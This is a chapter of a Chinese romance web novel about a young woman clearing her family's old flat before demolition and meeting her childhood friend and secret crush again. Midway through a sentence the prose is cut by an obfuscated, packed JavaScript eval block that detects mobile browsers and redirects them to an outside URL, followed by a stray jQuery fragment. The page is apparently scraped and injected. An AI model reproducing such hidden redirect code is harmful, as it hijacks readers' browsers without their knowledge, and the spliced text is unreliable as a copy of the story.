《这个夏天，想去海边》


    作者围脖：@今又雨


    2025/02/12


    本文仅在晋江文学城发表，多次修改，仅以晋江为最终版本。请支持正版，谢谢！感谢喜欢支持本文的每一位正版读者。关于本文有任何问题可私信作者围脖询问。


    夏宜市修建地铁，拆迁公告陆续发布。


    南浦街在拆迁片区内。‘拆’字一喷，居民陆续搬离。炎炎夏日，十几辆搬家公司的货车沿街停靠，排着长龙。


    夏文斌是文学编辑，家里的书成箱成堆。大件家具和细软已搬进新家，唯独这些书不放心让人搬运，怕刮坏，怕乱了顺序。每天下班背包回南浦街，人力搬运。


    “希音。你今天还要住这吗？”夏文斌看见房间摆满纸壳箱，但每个箱子都空荡荡的，显然没有想要整理的意思，再次提醒，“下个月的17号是最后期限。”


    何希音打开书柜，象征性地往箱子里放进两本书：“还有一个月。我会整理好的。”


    夏文斌把新家钥匙留在玄关：“有事打给我和你妈。”


    何希音丢掉手里的东西，往后一倒，躺在床上看着天花板发呆。


    十二年前，她搬进南浦街时，还很小，不及半张床高。


    她是很念旧的人，用过的东西，坏掉也不舍得丢，全都写上日期，放进整理盒。不知不觉，这样的旧物盒堆满柴火间。无论是新房还是未来回迁的新小区都没有柴火间，意味着要丢掉许多东西。


    积攒旧物只需写下日期。


    丢掉旧物却等于删去一段回忆。


    何希音难以抉择，坐在书桌边发呆。


    钥匙入孔，大门再被打开。


    夏文斌折回来，带回个好消息：“我遇见周拓了。”


    何希音倏地抬起头，眼中惊喜却转瞬即逝，被些许哀伤和尴尬代替。她抬手去拿书，以忙碌掩饰不知所措的慌乱。


    “他回来收拾东西的吧。”她说。


    夏文斌说：“应该是。看他推着行李箱。他们搬走后，我就没见过这孩子了。你们上次高中同学聚会，他去了吗？怎么很少听你提起他？小时候，你俩关系很好的，你总是去他家写作业。”


    “同学聚会……他好像是去了吧？我……没注意……哎呀，长大了嘛。我俩大学不在一个地方，最近联系不多。”何希音尬笑挠头，暗自祈祷他别再纠结这事，巧妙地转走话题，“我妈让你给他带一份蜜汁叉烧回去。”


    何希音指腕表：“去晚可买不到了。”


    “对对对。”夏文斌匆匆离开。


    ~


    晚八点，何希音抱着一箱东西下楼丢弃。刚出楼门就看见月光下一道斜长的身影映在瓷砖地。


    那人站在路灯下。


    深黑的眼眸，平静得有些漠然，望向她的那刻，她却觉得咸涩的海水从四面八方涌来，从脚底淹到头顶。


    谁也没说话。


    沉默得让人窒息。


    “好久不见。”他先开口。


    何希音笑笑，礼貌回复：“好久不见呀。周拓。”


    “丢东西？”他问。


    “是。整理出一些不要的。”


    “我陪你。”周拓拿过箱子抱着。


    “好。”


    南浦街在老市区，十几栋居民楼围聚，是个开放式的小区，只有个潦草的大门，常年开着。垃圾站设在街拐角，要走一段不远的路。居民陆续搬离，房子窗户都黑着灯，整条街安静得只剩风声和两人的呼吸。


    “下午我遇见你爸了。”说完，他又补充，“我是说夏叔叔。”


    何希音应声：“我知道。他也和我说了。”


    夏文斌是何希音的继父。当初搬来南浦街时，何乐仪和牧辽还没离婚，牧辽说这这里学区更好，他有个好兄弟住这，以后两家可以互相照应。他说的好兄弟就是周拓的父亲。


    “周叔叔最近怎么样？他的新书出版顺利吗？”何希音好奇。


    周承安专为儿童书画插画，出版过属于他的童话书。每次去周家，他要么顶着鸡窝头，一脸生无可恋地在书房埋头赶稿，要么满眼星点，站在露台的画板前涂涂写写。用他的话说插画工作是生存，出版童书是梦想。他每天都在纠结的工作和实现梦想的兴奋中反复拉扯。


    “顺利。”周拓笑，“牧叔叔还在崇左拍瀑布吗？”


    “应该吧？”何希音不确定。牧辽是地理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239422|166246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杂志的摄影师，经常出差，以前每去一个地方都会给她寄明信片，何希音没有集邮的爱好，常抱怨纸卡难收藏，牧辽便不再给她寄。


    “我前天收到他给我寄的明信片。”


    “他给你寄却没给我寄！偏心啊！”何希音瘪嘴。


    周拓：“你不是说不收集这个吗？”


    何希音噎住，许久才哼哼：“我还说我不喜欢收礼物呢。”


    “难怪他前两天问我，你喜欢什么，如果没给你带礼物你会不高兴吗。”


    何希音的嘴翘得更高：“我会。他一定要给我带。”


    “但是带什么我都会开心的~”


    “等会回去我就要告诉他我想要什么。”


    说完这句，她陷入沉思。


    无论她和爸爸说了什么，都有反悔的余地，对周拓却不能这样，一句无心的谎言像无形的屏障隔在两人之间。


    口是心非是煮不沸的苦咖啡，在她心头，日日夜夜地熬。


    “你什么时候搬走？”周拓再次打破沉默。


    “我已经搬走了。”何希音报出新家的地址，“我们上周就搬过去了。我是回来整理杂物的。”


    “我都不知道。”周拓的黑眸逐渐黯淡，嘴角的笑也染上几分落寞。


    多可怕的一句话。


    周拓是她最好的朋友，是她的青梅竹马，是她……暗恋的人。


    今天的我们为什么会变成这样了呢？


    何希音望着他，找不到破局的方法。


    夜间航班恰巧在此刻划过两人头顶，轰鸣声由远及近，飞机隐匿在厚重的云层中，看不清，只能勉强瞧见星星点点光亮和一条长长的航迹云。


    何希音仰头：“啊。是飞机。”


    待轰鸣声远了，她继续往前走，身边人却停在原地。她疑惑地转身，瞧他还站在那，保持着仰头姿势。


    “你干嘛呢？”


    周拓低头：“我想起第一次见你的场景。”


    记忆的箭从他认真的眼眸射-入她心底，按下时光的倒带键。那时候，也是这样晚风微凉的夏夜，他也是这样抱着杂物箱站在她对面，和她听飞机轰鸣。


    “何希音。许愿吗？”他问。